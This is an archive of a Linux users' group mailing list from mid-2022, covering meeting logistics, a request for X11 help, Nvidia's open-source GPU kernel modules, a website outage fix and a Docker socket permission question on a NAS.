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Re: WLUG Meeting July 14th at the Hudson Public Library!

by Keith Wright

Tim Keller via WLUG <wlug(a)lists.wlug.org> writes: > We've got a meeting tomorrow night at the Hudson Public Library! > > As a quick show of hands, who'll be coming out? I'm debating doing it > online since I'm a bit late in sending out the notice. > > Thanks, > Tim. Who are you debating? I missed the last meeting because, as I said two months ago, I had eye surgery. I was feeling slow and sour. I am not going to Hudson, but I plan to <a href="https://meet.jit.si/WlugMA"> click here at 7pm, </a> unless the debate club votes against it. -- Keith

July 14, 2022

WLUG Meeting July 14th at the Hudson Public Library!

by Tim Keller

Hey Gang, We've got a meeting tomorrow night at the Hudson Public Library! As a quick show of hands, who'll be coming out? I'm debating doing it online since I'm a bit late in sending out the notice. Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

July 13, 2022

Re: Emeritus WPI CS Faculty member looking for Linux Help in Worcester

by Michael Voorhis

On 7/7/22 16:35, John Stoffel wrote: > I've got some time end of next week I could help them with. Heck, I > might even know them! Sent reply off-list. Thanks all for the responses, so far. --MCV.

July 7, 2022

Re: Emeritus WPI CS Faculty member looking for Linux Help in Worcester

by John Stoffel

>>>>> "Michael" == Michael Voorhis via WLUG <wlug(a)lists.wlug.org> writes: Michael> I have an emeritus WPI Computer Science faculty member Michael> looking for Linux help in northwestern Worcester. They're Michael> having X11 issues, possibly driver-related, with an Ubuntu Michael> machine. I don't do on-the-side work like this, so I'm Michael> wondering if anyone here is interested in this sort of work? I've got some time end of next week I could help them with. Heck, I might even know them! John

July 7, 2022

Re: Emeritus WPI CS Faculty member looking for Linux Help in Worcester

by Michael Voorhis

(response sent, off-list) --MCV. On 7/7/22 08:58, Joshua Stone wrote: > Do you know the full hardware specs for this machine?

July 7, 2022

Re: Emeritus WPI CS Faculty member looking for Linux Help in Worcester

by Joshua Stone

Do you know the full hardware specs for this machine? - Josh On Thu, Jul 7, 2022, 8:51 AM Michael Voorhis via WLUG <wlug(a)lists.wlug.org> wrote: > > I have an emeritus WPI Computer Science faculty member looking for Linux > help in northwestern Worcester. They're having X11 issues, possibly > driver-related, with an Ubuntu machine. I don't do on-the-side work > like this, so I'm wondering if anyone here is interested in this sort of > work? > > Thanks, > > --MCV. > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/TRYWD… >

July 7, 2022

Emeritus WPI CS Faculty member looking for Linux Help in Worcester

by Michael Voorhis

I have an emeritus WPI Computer Science faculty member looking for Linux help in northwestern Worcester. They're having X11 issues, possibly driver-related, with an Ubuntu machine. I don't do on-the-side work like this, so I'm wondering if anyone here is interested in this sort of work? Thanks, --MCV.

July 7, 2022

Re: = sign in a ls-l ?

by Kevin Stratton

Sorry for the delay, I have just restarted work so I was busy with life related stuff. My NAS box is an X86, so that might explain why I could not get PI-Hole working. I also noticed significant disk thrashing when I left pi-hole running long enough (even though I could not configure it). My personal suspicion is that some kind of permission needs to be set top allow configuration. Pi-Hole is currently uninstalled until I get more than 2G ram for the NAS box. I do plan to run memtest86 immediately after installing the additional ram. I did get docker to run by running "sudo ash" before running the docker commands. Obviously the SSH login did not provide root permission even though I used the admin account. On 6/29/2022 4:32 PM, John Stoffel wrote: >>>>>> "Kevin" == Kevin Stratton via WLUG <wlug(a)lists.wlug.org> writes: > Kevin> I am having trouble with getting pi-hole working with my > Kevin> Asustore NAS. > > Is this NAS box based on ARM processors? As I understand (stood?) > pihole only runs on ARM based linux for some reason or other. I too > looked into this a while ago, it wasn't setup at all to run on a > debian x86_64 system at all. > > Kevin> I think I have traced it down to an issue with > Kevin> the docker install. I did verify that the docker CE (community > Kevin> edition) was also installed. > > Kevin> Per a tutorial about docker, I should be able to run something like > Kevin> hello world and it will install. I may not have the name correctly > Kevin> entered, but I do not think in this case it matters (yet) > > But in general, I think you need to run docker as root so that it has > the permissions to do stuff properly. But I only have one docker > container running, so that's what I do. > > John > > > Kevin> admin@AS5202T-7085:/var/run $ docker run hello-world > > Kevin> docker: Got permission denied while trying to connect to the Docker > Kevin> daemon socket at unix:///var/run/docker.sock: Post > Kevin> "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix > Kevin> /var/run/docker.sock: connect: permission denied. > > Kevin> See 'docker run --help'. > > Kevin> admin@AS5202T-7085:/var/run $ > > Kevin> When I did a ls -l of /var/run in a ssh session, I got the following: > > Kevin> srw-rw---- 1 root root 0 Jun 24 19:57 docker.sock= > > Kevin> The "=" is something I am not familiar with. Could it mean that the > Kevin> symbolic link is to itself? > > Kevin> I could not find any references to this online and could not replicate > Kevin> this experimenting with ln in my Ubuntu distribution. > > > > > Kevin> _______________________________________________ > Kevin> WLUG mailing list -- wlug(a)lists.wlug.org > Kevin> To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Kevin> Create Account: https://wlug.mailman3.com/accounts/signup/ > Kevin> Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Kevin> Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/SQVT5…

July 3, 2022

Re: = sign in a ls-l ?

by John Stoffel

>>>>> "Kevin" == Kevin Stratton via WLUG <wlug(a)lists.wlug.org> writes: Kevin> I am having trouble with getting pi-hole working with my Kevin> Asustore NAS. Is this NAS box based on ARM processors? As I understand (stood?) pihole only runs on ARM based linux for some reason or other. I too looked into this a while ago, it wasn't setup at all to run on a debian x86_64 system at all. Kevin> I think I have traced it down to an issue with Kevin> the docker install. I did verify that the docker CE (community Kevin> edition) was also installed. Kevin> Per a tutorial about docker, I should be able to run something like Kevin> hello world and it will install. I may not have the name correctly Kevin> entered, but I do not think in this case it matters (yet) But in general, I think you need to run docker as root so that it has the permissions to do stuff properly. But I only have one docker container running, so that's what I do. John Kevin> admin@AS5202T-7085:/var/run $ docker run hello-world Kevin> docker: Got permission denied while trying to connect to the Docker Kevin> daemon socket at unix:///var/run/docker.sock: Post Kevin> "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix Kevin> /var/run/docker.sock: connect: permission denied. Kevin> See 'docker run --help'. Kevin> admin@AS5202T-7085:/var/run $ Kevin> When I did a ls -l of /var/run in a ssh session, I got the following: Kevin> srw-rw---- 1 root root 0 Jun 24 19:57 docker.sock= Kevin> The "=" is something I am not familiar with. Could it mean that the Kevin> symbolic link is to itself? Kevin> I could not find any references to this online and could not replicate Kevin> this experimenting with ln in my Ubuntu distribution. Kevin> _______________________________________________ Kevin> WLUG mailing list -- wlug(a)lists.wlug.org Kevin> To unsubscribe send an email to wlug-leave(a)lists.wlug.org Kevin> Create Account: https://wlug.mailman3.com/accounts/signup/ Kevin> Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ Kevin> Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/SQVT5…

June 29, 2022

Re: = sign in a ls-l ?

by Daniel Walsh

On 6/24/22 22:56, Theo Van Dinter via WLUG wrote: > The = is from "ls -F", it means it's a socket file (which we also see > from the "s" file type in "ls -l" and the filename is also a good > indicator). > > I have no experience with docker, but the error message and other > quoted bits implies you're running things as user "admin" which I'd > guess doesn't have user or group root privileges so you can't write to > the file. > If you are attempting to run containers without being root, I would recommend that you use Podman rather then Docker. It is much more secure. > > On Fri, Jun 24, 2022, 22:23 Kevin Stratton via WLUG > <wlug(a)lists.wlug.org> wrote: > > I am having trouble with getting pi-hole working with my Asustore > NAS. > I think I have traced it down to an issue with the docker install. I > did verify that the docker CE (community edition) was also installed. > > Per a tutorial about docker, I should be able to run something like > hello world and it will install. I may not have the name correctly > entered, but I do not think in this case it matters (yet) > > > admin@AS5202T-7085:/var/run $ docker run hello-world > > docker: Got permission denied while trying to connect to the Docker > daemon socket at unix:///var/run/docker.sock: Post > "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial > unix > /var/run/docker.sock: connect: permission denied. > > See 'docker run --help'. > > admin@AS5202T-7085:/var/run $ > > When I did a ls -l of /var/run in a ssh session, I got the following: > > srw-rw---- 1 root root 0 Jun 24 19:57 docker.sock= > > The "=" is something I am not familiar with. Could it mean that the > symbolic link is to itself? > > I could not find any references to this online and could not > replicate > this experimenting with ln in my Ubuntu distribution. > > > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/SQVT5… > > > _______________________________________________ > WLUG mailing list --wlug(a)lists.wlug.org > To unsubscribe send an email towlug-leave(a)lists.wlug.org > Create Account:https://wlug.mailman3.com/accounts/signup/ > Change Settings:https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive:https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org…

June 25, 2022

Re: = sign in a ls-l ?

by Theo Van Dinter

The = is from "ls -F", it means it's a socket file (which we also see from the "s" file type in "ls -l" and the filename is also a good indicator). I have no experience with docker, but the error message and other quoted bits implies you're running things as user "admin" which I'd guess doesn't have user or group root privileges so you can't write to the file. On Fri, Jun 24, 2022, 22:23 Kevin Stratton via WLUG <wlug(a)lists.wlug.org> wrote: > I am having trouble with getting pi-hole working with my Asustore NAS. > I think I have traced it down to an issue with the docker install. I > did verify that the docker CE (community edition) was also installed. > > Per a tutorial about docker, I should be able to run something like > hello world and it will install. I may not have the name correctly > entered, but I do not think in this case it matters (yet) > > > admin@AS5202T-7085:/var/run $ docker run hello-world > > docker: Got permission denied while trying to connect to the Docker > daemon socket at unix:///var/run/docker.sock: Post > "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix > /var/run/docker.sock: connect: permission denied. > > See 'docker run --help'. > > admin@AS5202T-7085:/var/run $ > > When I did a ls -l of /var/run in a ssh session, I got the following: > > srw-rw---- 1 root root 0 Jun 24 19:57 docker.sock= > > The "=" is something I am not familiar with. Could it mean that the > symbolic link is to itself? > > I could not find any references to this online and could not replicate > this experimenting with ln in my Ubuntu distribution. > > > > > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/SQVT5… >

June 25, 2022

= sign in a ls-l ?

by Kevin Stratton

I am having trouble with getting pi-hole working with my Asustore NAS. I think I have traced it down to an issue with the docker install. I did verify that the docker CE (community edition) was also installed. Per a tutorial about docker, I should be able to run something like hello world and it will install. I may not have the name correctly entered, but I do not think in this case it matters (yet) admin@AS5202T-7085:/var/run $ docker run hello-world docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/containers/create": dial unix /var/run/docker.sock: connect: permission denied. See 'docker run --help'. admin@AS5202T-7085:/var/run $ When I did a ls -l of /var/run in a ssh session, I got the following: srw-rw---- 1 root root 0 Jun 24 19:57 docker.sock= The "=" is something I am not familiar with. Could it mean that the symbolic link is to itself? I could not find any references to this online and could not replicate this experimenting with ln in my Ubuntu distribution.

June 25, 2022

Re: Reminder: Meeting tonight! Topic: Intel Pocket PC (and possible give away!)

by hammerron

Hey Tim/Everyone, Speaking for myself, Worcester works better for me. Ron On 6/16/22 13:58, Tim Keller via WLUG wrote: > Hey Everybody! > > We've got a meeting tonight!! > Location: Hudson Public Library > Time: 7pm > Topic: Intel Pocket PC running RetroArch, etc. > > I was given four of these tiny pocket pc's. I'm going to run RetroArch > on one and see what we get. I also think they'd be cool as a plex > driver for a TV as well. > > Beyond that, there's a lot going on in the linux world, from the Intel > pay for features stuff to the Nvidia opening up ( a tiny bit ). > > We should also talk about where we'd like to host meetings. I reached > out to Frank and it looks like WPI is back on the table. Would that > work better for people? > > See ya there! > Tim. > > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > > _______________________________________________ > WLUG mailing list --wlug(a)lists.wlug.org > To unsubscribe send an email towlug-leave(a)lists.wlug.org > Create Account:https://wlug.mailman3.com/accounts/signup/ > Change Settings:https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive:https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org…

June 18, 2022

Re: Reminder: Meeting tonight! Topic: Intel Pocket PC (and possible give away!)

by John Stoffel

Yeah, I was out busy last night so couldn't make it. Hope the meeting went well. Hudson has been fine, but Worcester also works for me since I'm in the middle. Moving it around to new locations to make it easy for people isn't a bad idea.

June 17, 2022

Re: Reminder: Meeting tonight! Topic: Intel Pocket PC (and possible give away!)

by Kevin Stratton

Will the same video conference link be used? On 6/16/2022 2:04 PM, Joel via WLUG wrote: > > Cannot make it tonight on vacation with family. > > For future meetings, either WPI or a more Worcester-ish location would > help. > > Joel > > > > On June 16, 2022 7:58:23 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> > wrote: > >> Hey Everybody! >> >> We've got a meeting tonight!! >> Location: Hudson Public Library >> Time: 7pm >> Topic: Intel Pocket PC running RetroArch, etc. >> >> I was given four of these tiny pocket pc's. I'm going to run >> RetroArch on one and see what we get. I also think they'd be cool as >> a plex driver for a TV as well. >> >> Beyond that, there's a lot going on in the linux world, from the >> Intel pay for features stuff to the Nvidia opening up ( a tiny bit ). >> >> We should also talk about where we'd like to host meetings. I reached >> out to Frank and it looks like WPI is back on the table. Would that >> work better for people? >> >> See ya there! >> Tim. >> >> >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org <mailto:wlug%40lists.wlug.org> >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> <mailto:wlug-leave%40lists.wlug.org> >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> <https://wlug.mailman3.com/accounts/signup/> >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> <https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/> >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/PNIHE… >> <https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/PNIHE…> >> > > > _______________________________________________ > WLUG mailing list --wlug(a)lists.wlug.org > To unsubscribe send an email towlug-leave(a)lists.wlug.org > Create Account:https://wlug.mailman3.com/accounts/signup/ > Change Settings:https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive:https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org…

June 16, 2022

Re: Reminder: Meeting tonight! Topic: Intel Pocket PC (and possible give away!)

by Joel

Cannot make it tonight on vacation with family. For future meetings, either WPI or a more Worcester-ish location would help. Joel On June 16, 2022 7:58:23 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Everybody! > > We've got a meeting tonight!! > Location: Hudson Public Library > Time: 7pm > Topic: Intel Pocket PC running RetroArch, etc. > > I was given four of these tiny pocket pc's. I'm going to run RetroArch on one and see what we get. I also think they'd be cool as a plex driver for a TV as well. > > Beyond that, there's a lot going on in the linux world, from the Intel pay for features stuff to the Nvidia opening up ( a tiny bit ). > > We should also talk about where we'd like to host meetings. I reached out to Frank and it looks like WPI is back on the table. Would that work better for people? > > See ya there! > Tim. > > > -- > > I am leery of the allegiances of any politician who refers to their constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/PNIHE…

June 16, 2022

Reminder: Meeting tonight! Topic: Intel Pocket PC (and possible give away!)

by Tim Keller

Hey Everybody! We've got a meeting tonight!! Location: Hudson Public Library Time: 7pm Topic: Intel Pocket PC running RetroArch, etc. I was given four of these tiny pocket pc's. I'm going to run RetroArch on one and see what we get. I also think they'd be cool as a plex driver for a TV as well. Beyond that, there's a lot going on in the linux world, from the Intel pay for features stuff to the Nvidia opening up ( a tiny bit ). We should also talk about where we'd like to host meetings. I reached out to Frank and it looks like WPI is back on the table. Would that work better for people? See ya there! Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

June 16, 2022

Re: Change in meeting date: New meeting date: June 16th.

by Joshua Stone

Hey everyone, It looks like we still could use topic suggestions for our meeting on Thursday, June 16th! The suggestion form is set up to not require email login (for best results, open in a Private/Incognito window) if it helps: https://forms.gle/aBYhcHME1iK5SghZ7 - Josh On Wed, Jun 1, 2022 at 3:21 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Everybody, > > I've got a schedule conflict for June 9th. I'm moving the meeting off a > week to the 16th. > > We've got a Signal group going if you want to stop in and nerd out. > > https://signal.group/#CjQKIB4V_icJ7j26US0jRIAZoQtCbNXPk5LAm9qSyKGOhiEBEhBbD… > > Josh also created a quick topic suggestion box for meeting ideas: > > https://docs.google.com/forms/d/e/1FAIpQLSeRO4YZLTmeYlzOXO7T7Fr8aQB4JfCRqhs… > > You need to sign in to google to use it.. I think it's worth talking to > Chuck about modifying the website to have a suggestions box added.. who > knows.. all ideas welcome. > > Thanks, > Tim. > > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/7NJDJ… >

June 15, 2022

Change in meeting date: New meeting date: June 16th.

by Tim Keller

Hey Everybody, I've got a schedule conflict for June 9th. I'm moving the meeting off a week to the 16th. We've got a Signal group going if you want to stop in and nerd out. https://signal.group/#CjQKIB4V_icJ7j26US0jRIAZoQtCbNXPk5LAm9qSyKGOhiEBEhBbD… Josh also created a quick topic suggestion box for meeting ideas: https://docs.google.com/forms/d/e/1FAIpQLSeRO4YZLTmeYlzOXO7T7Fr8aQB4JfCRqhs… You need to sign in to google to use it.. I think it's worth talking to Chuck about modifying the website to have a suggestions box added.. who knows.. all ideas welcome. Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

June 1, 2022

Re: Reminder! WLUG Meeting tomorrow! May 12th, 2022, 7PM Hudson Public Library.

by Joshua Stone

I hope some of us can come in for the physical meeting! I'm looking forward to meeting some folks and going out for food afterward like we usually do. - Josh On Thu, May 12, 2022 at 3:43 PM John Stoffel <john(a)stoffel.org> wrote: > >>>>> "Kevin" == Kevin Stratton via WLUG <wlug(a)lists.wlug.org> writes: > > Kevin> Does anyone want to speculate how this might affect > Kevin> heterogeneous computing ? I would be excited if there evolves > Kevin> a common standard between CUDA OpenCL. I might even be > Kevin> motivated to learn such an environment. (I do not know either) > > I don't think this will change much. nVidia doens't have any > incentive to open up their user-space side of things. This is really > just the low level kernel drivers they're opening up, not the upper > parts of the stack. > > The only way things will open up is when large customers require > interoperability sot hey can move workloads between systems easily. > Until then... not too likely. > > John >

May 12, 2022

Re: Reminder! WLUG Meeting tomorrow! May 12th, 2022, 7PM Hudson Public Library.

by John Stoffel

>>>>> "Kevin" == Kevin Stratton via WLUG <wlug(a)lists.wlug.org> writes: Kevin> Does anyone want to speculate how this might affect Kevin> heterogeneous computing ? I would be excited if there evolves Kevin> a common standard between CUDA OpenCL. I might even be Kevin> motivated to learn such an environment. (I do not know either) I don't think this will change much. nVidia doens't have any incentive to open up their user-space side of things. This is really just the low level kernel drivers they're opening up, not the upper parts of the stack. The only way things will open up is when large customers require interoperability sot hey can move workloads between systems easily. Until then... not too likely. John

May 12, 2022

Re: Reminder! WLUG Meeting tomorrow! May 12th, 2022, 7PM Hudson Public Library.

by John Stoffel

>>>>> "Joel" == Joel via WLUG <wlug(a)lists.wlug.org> writes: I can't make it to Hudson either tonight, I've got a hardware upgrade I need to babysite while remote hands do some swaps. I'll try to join the jitsi channel. Joel> Would like to attend WLUG tonight but I need to be elsewhere this Thursday.

May 12, 2022

Re: Reminder! WLUG Meeting tomorrow! May 12th, 2022, 7PM Hudson Public Library.

by Kevin Stratton

Does anyone want to speculate how this might affect heterogeneous computing ? I would be excited if there evolves a common standard between CUDA OpenCL. I might even be motivated to learn such an environment. (I do not know either) On 5/12/2022 10:51 AM, Joel via WLUG wrote: > Would like to attend WLUG tonight but I need to be elsewhere this > Thursday. > > Joel > > On May 12, 2022 10:47:03 AM Tim Keller via WLUG <wlug(a)lists.wlug.org> > wrote: > >> Absolutely!! This is a serious change for NVIDIA who've in the past >> tried to keep their secret sauce hidden! >> >> Tim. >> >> On Wed, May 11, 2022 at 7:40 PM Joshua Stone >> <joshua.gage.stone(a)gmail.com> wrote: >> >> Now here's an idea for a topic .. >> >> https://developer.nvidia.com/blog/nvidia-releases-open-source-gpu-kernel-mo… >> >> - Josh >> >> On Wed, May 11, 2022 at 1:48 PM Tim Keller via WLUG >> <wlug(a)lists.wlug.org> wrote: >> >> Hey Everybody! >> >> Sorry for the late meeting reminder! >> >> Yes, we do have a meeting tomorrow at the Hudson Public Library! >> Time: 7PM >> >> I'm hoping to be there in person, but I may have to attend >> virtually. >> >> I'm floundering a bit on a topic at the moment, if someone >> has an idea, please let me know. >> Next month I'd like to get Dick to talk to about the photo >> editing software. >> Zori has also expressed an interest in talking about TrueNAS. >> TrueNAS Scale is also an interesting product as well. So this >> meeting might be an open topic meeting. >> >> Thanks, >> Tim. >> >> -- >> I am leery of the allegiances of any politician who refers to >> their constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/NE2K4… >> >> >> >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org <mailto:wlug%40lists.wlug.org> >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> <mailto:wlug-leave%40lists.wlug.org> >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> <https://wlug.mailman3.com/accounts/signup/> >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> <https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/> >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/3WNS5… >> <https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/3WNS5…> >> > > > _______________________________________________ > WLUG mailing list --wlug(a)lists.wlug.org > To unsubscribe send an email towlug-leave(a)lists.wlug.org > Create Account:https://wlug.mailman3.com/accounts/signup/ > Change Settings:https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive:https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org…

May 12, 2022

Re: Reminder! WLUG Meeting tomorrow! May 12th, 2022, 7PM Hudson Public Library.

by Joel

Would like to attend WLUG tonight but I need to be elsewhere this Thursday. Joel On May 12, 2022 10:47:03 AM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Absolutely!! This is a serious change for NVIDIA who've in the past tried to keep their secret sauce hidden! > > Tim. > > > On Wed, May 11, 2022 at 7:40 PM Joshua Stone <joshua.gage.stone(a)gmail.com> wrote: > Now here's an idea for a topic .. > > https://developer.nvidia.com/blog/nvidia-releases-open-source-gpu-kernel-mo… > > - Josh > > On Wed, May 11, 2022 at 1:48 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Everybody! > > Sorry for the late meeting reminder! > > Yes, we do have a meeting tomorrow at the Hudson Public Library! > Time: 7PM > > I'm hoping to be there in person, but I may have to attend virtually. > > I'm floundering a bit on a topic at the moment, if someone has an idea, please let me know. > Next month I'd like to get Dick to talk to about the photo editing software. > Zori has also expressed an interest in talking about TrueNAS. TrueNAS Scale is also an interesting product as well. So this meeting might be an open topic meeting. > > Thanks, > Tim. > > > -- > > I am leery of the allegiances of any politician who refers to their constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/NE2K4… > > > > -- > > I am leery of the allegiances of any politician who refers to their constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/3WNS5…

May 12, 2022

Re: Reminder! WLUG Meeting tomorrow! May 12th, 2022, 7PM Hudson Public Library.

by Tim Keller

Absolutely!! This is a serious change for NVIDIA who've in the past tried to keep their secret sauce hidden! Tim. On Wed, May 11, 2022 at 7:40 PM Joshua Stone <joshua.gage.stone(a)gmail.com> wrote: > Now here's an idea for a topic .. > > > https://developer.nvidia.com/blog/nvidia-releases-open-source-gpu-kernel-mo… > > - Josh > > On Wed, May 11, 2022 at 1:48 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> > wrote: > >> Hey Everybody! >> >> Sorry for the late meeting reminder! >> >> Yes, we do have a meeting tomorrow at the Hudson Public Library! >> Time: 7PM >> >> I'm hoping to be there in person, but I may have to attend virtually. >> >> I'm floundering a bit on a topic at the moment, if someone has an idea, >> please let me know. >> Next month I'd like to get Dick to talk to about the photo editing >> software. >> Zori has also expressed an interest in talking about TrueNAS. TrueNAS >> Scale is also an interesting product as well. So this meeting might be an >> open topic meeting. >> >> Thanks, >> Tim. >> >> -- >> I am leery of the allegiances of any politician who refers to their >> constituents as "consumers". >> _______________________________________________ >> WLUG mailing list -- wlug(a)lists.wlug.org >> To unsubscribe send an email to wlug-leave(a)lists.wlug.org >> Create Account: https://wlug.mailman3.com/accounts/signup/ >> Change Settings: >> https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ >> Web Forum/Archive: >> https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/NE2K4… >> > -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

May 12, 2022

Re: Reminder! WLUG Meeting tomorrow! May 12th, 2022, 7PM Hudson Public Library.

by Joshua Stone

Now here's an idea for a topic .. https://developer.nvidia.com/blog/nvidia-releases-open-source-gpu-kernel-mo… - Josh On Wed, May 11, 2022 at 1:48 PM Tim Keller via WLUG <wlug(a)lists.wlug.org> wrote: > Hey Everybody! > > Sorry for the late meeting reminder! > > Yes, we do have a meeting tomorrow at the Hudson Public Library! > Time: 7PM > > I'm hoping to be there in person, but I may have to attend virtually. > > I'm floundering a bit on a topic at the moment, if someone has an idea, > please let me know. > Next month I'd like to get Dick to talk to about the photo editing > software. > Zori has also expressed an interest in talking about TrueNAS. TrueNAS > Scale is also an interesting product as well. So this meeting might be an > open topic meeting. > > Thanks, > Tim. > > -- > I am leery of the allegiances of any politician who refers to their > constituents as "consumers". > _______________________________________________ > WLUG mailing list -- wlug(a)lists.wlug.org > To unsubscribe send an email to wlug-leave(a)lists.wlug.org > Create Account: https://wlug.mailman3.com/accounts/signup/ > Change Settings: > https://wlug.mailman3.com/postorius/lists/wlug.lists.wlug.org/ > Web Forum/Archive: > https://wlug.mailman3.com/hyperkitty/list/wlug@lists.wlug.org/message/NE2K4… >

May 11, 2022

Reminder! WLUG Meeting tomorrow! May 12th, 2022, 7PM Hudson Public Library.

by Tim Keller

Hey Everybody! Sorry for the late meeting reminder! Yes, we do have a meeting tomorrow at the Hudson Public Library! Time: 7PM I'm hoping to be there in person, but I may have to attend virtually. I'm floundering a bit on a topic at the moment, if someone has an idea, please let me know. Next month I'd like to get Dick to talk to about the photo editing software. Zori has also expressed an interest in talking about TrueNAS. TrueNAS Scale is also an interesting product as well. So this meeting might be an open topic meeting. Thanks, Tim. -- I am leery of the allegiances of any politician who refers to their constituents as "consumers".

May 11, 2022

Re: Website down..

by John Stoffel

>>>>> "Chuck" == Chuck Anderson via WLUG <wlug(a)lists.wlug.org> writes: Chuck> On Fri, May 06, 2022 at 08:15:10PM -0400, Tim Keller via WLUG wrote: >> The website seems to be offline, looking into it.. >> >> No worries, there's still a meeting next Thursday! Chuck> Fixed. Oracle deleted the public IP from the virtual NIC. I'm Chuck> not sure if it was because it was an "ephemeral public IP" (it Chuck> lasted at least 2 years), but this time I created a "reserved Chuck> public IP" and updated the DNS registrar and all the DNS Chuck> servers. So what's the meeting going to be on this week? I hope to be there... we will see.

